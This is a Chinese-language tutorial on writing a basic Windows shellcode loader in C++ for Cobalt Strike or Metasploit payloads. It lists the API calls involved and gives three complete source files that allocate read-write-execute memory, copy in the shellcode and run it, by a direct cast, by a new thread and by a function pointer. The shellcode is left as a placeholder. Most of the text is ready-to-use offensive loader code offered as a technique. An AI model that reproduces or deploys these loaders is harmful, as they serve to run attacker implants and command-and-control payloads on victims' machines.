基于c++----基础loader的编写


认识编写loader———–API

什么是windows api

1
2
3
Windows 这个多作业系统除了协调应用程序的执行、分配内存、管理资源之外, 它同时也是一个很大的服务中心,调用这个服务中心的各种服务(每一种服务就是一个函数),可以帮应用程式达到开启视窗、描绘图形、使用周边设备等目的,由于这些函数服务的对象是应用程序(Application), 所以便称之为 Application Programming Interface,简称 API 函数。WIN32 API也就是Microsoft Windows 32位平台的应用程序编程接口

# 白话文: API 是windows给我封装好的函数,我们知道了其功能就可以直接调用。

编写loader的三大步骤

1
2
3
4
5
6
7
1.生成cs或者msf的shellcode

2.申请一块可读可写可执行内存

3.将shellcode放进内存中

4.执行

编写loader时所需要的API

1.申请内存所需要的API

1
2
3
4
# 这里写出常用的几个API
VirtualAlloc
VirtualAllocEx
HeapAlloc

2.移动shellcode到内存中的API

1
2
3
4
5
# 这里写出常用的几个API
memcpy
CopyMemory
RtlCopyMemory
RtlMoveMemory

3.执行

1
2
3
4
5
6
7
8
9
10
11
1.强转执行
((void(*)())addr)();

2.创建线程执行
创建线程API # CreateThread
等待执行 # WaitForSingleObjec

3.创建函数执行
typedef void(_stdcall* CODE)();
CODE p = (CODE)addr;
p();

放出源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//强转执行

#include <windows.h>
#include <stdio.h>
int main() {

//数组
unsigned char code[] = "放入你的shellcode";
LPVOID addr = VirtualAlloc(
NULL,
sizeof(code),
MEM_COMMIT, //我申请的内存只有我自己能够用,没有我的允许其他人没有资格用
PAGE_EXECUTE_READWRITE //RWX
);

memcpy(addr, code, sizeof(code));

((void(*)())addr)();

return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
//创建线程执行


#include <windows.h>


int main() {


unsigned char code[] = "放入你的shellcode";
int code_size = 0;
HANDLE HTHread; //初始化线程句柄
DWORD dwThreadId; //初始化线程ID

code_size = sizeof(code);

//调用win API申请内存
/*LPVOID VIRTUALALLOC{
LPVOID LPADDRESS, 分配内存区域的地址
DWORD DWSIZE, 分配内存的大小
DWORD FLALLOCATIONTYPE, 分配的类型
DWORD FLPROTECT 该内存的初始保护属性
};*/

char* addr = (char*)VirtualAlloc(
NULL,
code_size,
MEM_COMMIT,
PAGE_EXECUTE_READWRITE
);

CopyMemory(addr, code, code_size); //将shellcode写入到申请的内存中

//创造线程并让shellcode执行
HTHread = CreateThread(
NULL, //安全描述符
NULL, //栈空间的大小
(LPTHREAD_START_ROUTINE)addr,
NULL, //参数
NULL, //线程标志
&dwThreadId //线程ID
);

WaitForSingleObject(HTHread, INFINITE); //为了防止立马退出
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
//函数执行

#include <windows.h>

typedef void(_stdcall* CODE)();

int main() {
unsigned char code[] = "放入你的shellcode";

LPVOID addr = VirtualAlloc(
NULL,
sizeof(code),
MEM_COMMIT, //我申请的内存只有我自己能够用,没有我的允许其他人没有资格用
PAGE_EXECUTE_READWRITE //RWX
);

RtlCopyMemory(addr, code, sizeof(code));

CODE p = (CODE)addr;

p();

return 0;
}